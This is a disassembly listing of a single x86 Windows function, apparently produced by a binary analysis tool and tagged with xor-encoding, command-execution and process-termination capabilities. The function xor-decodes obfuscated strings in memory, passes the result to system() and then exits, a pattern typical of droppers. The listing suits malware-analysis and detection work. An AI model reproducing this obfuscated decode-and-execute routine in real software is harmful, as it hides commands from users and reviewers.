Function at 0x100c4740
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x102c93ab
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xf8
push esi
push edi
mov eax, dword [0x1066bbc0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0xac]
mov dword [ebp - 4], 0
push eax
call fcn.100c4b60
mov esi, dword [0x106d5adc]
mov edi, eax
cmp byte [edi + 0x1a], 0
je 0x100c4917
xor ecx, ecx
cmp esi, 2
jl 0x100c48e6
movaps xmm0, xmmword [0x10654620]
mov esi, 4
movaps xmm4, xmmword [0x106544f0]
mov edx, edi
movaps xmm3, xmmword [0x10654a40]
sub esi, edi
movaps xmm5, xmmword [0x10654530]
movaps xmmword [ebp - 0x30], xmm0
mov eax, dword [ebp - 0x30]
nop word [eax + eax]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x30]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
xorps xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x18
jl 0x100c47e0
cmp ecx, 0x1b
jge 0x100c4911
mov eax, 0xa0a0a0a1
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
inc ecx
imul eax, eax, 0x33
sub dl, al
add dl, 0x30
xor byte [esi], dl
cmp ecx, 0x1b
jl 0x100c48e6
mov esi, dword [0x106d5adc]
push edi
lea ecx, [ebp - 0x90]
call fcn.10052420
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.100521f0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x108]
push eax
call fcn.100c4b40
mov edi, eax
cmp byte [edi + 0x56], 0
je 0x100c4abf
xor ecx, ecx
mov dword [ebp - 0x14], ecx
cmp esi, 2
jl 0x100c4a90
movaps xmm0, xmmword [0x10654620]
mov esi, 4
movaps xmm4, xmmword [0x106544f0]
mov edx, edi
movaps xmm3, xmmword [0x10654a40]
sub esi, edi
movaps xmm5, xmmword [0x10654530]
movaps xmmword [ebp - 0x30], xmm0
mov eax, dword [ebp - 0x30]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x30]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
xorps xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x50
jl 0x100c4983
mov dword [ebp - 0x14], ecx
cmp ecx, 0x57
jge 0x100c4abf
nop dword [eax]
mov eax, 0xa0a0a0a1
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0x14]
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x57
jl 0x100c4a90
push edi
lea ecx, [ebp - 0x78]
call fcn.10052420
lea ecx, [ebx + 8]
mov byte [ebp - 4], 2
push ecx
mov ecx, eax
call fcn.100521f0
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.10053180
push dword [ebp - 0x18]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.10053130
add esp, 0x18
mov ecx, eax
call fcn.100521f0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x48]
call fcn.10052380
lea ecx, [ebp - 0x60]
call fcn.10052380
lea ecx, [ebp - 0x78]
call fcn.10052380
lea ecx, [ebp - 0x90]
call fcn.10052380
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]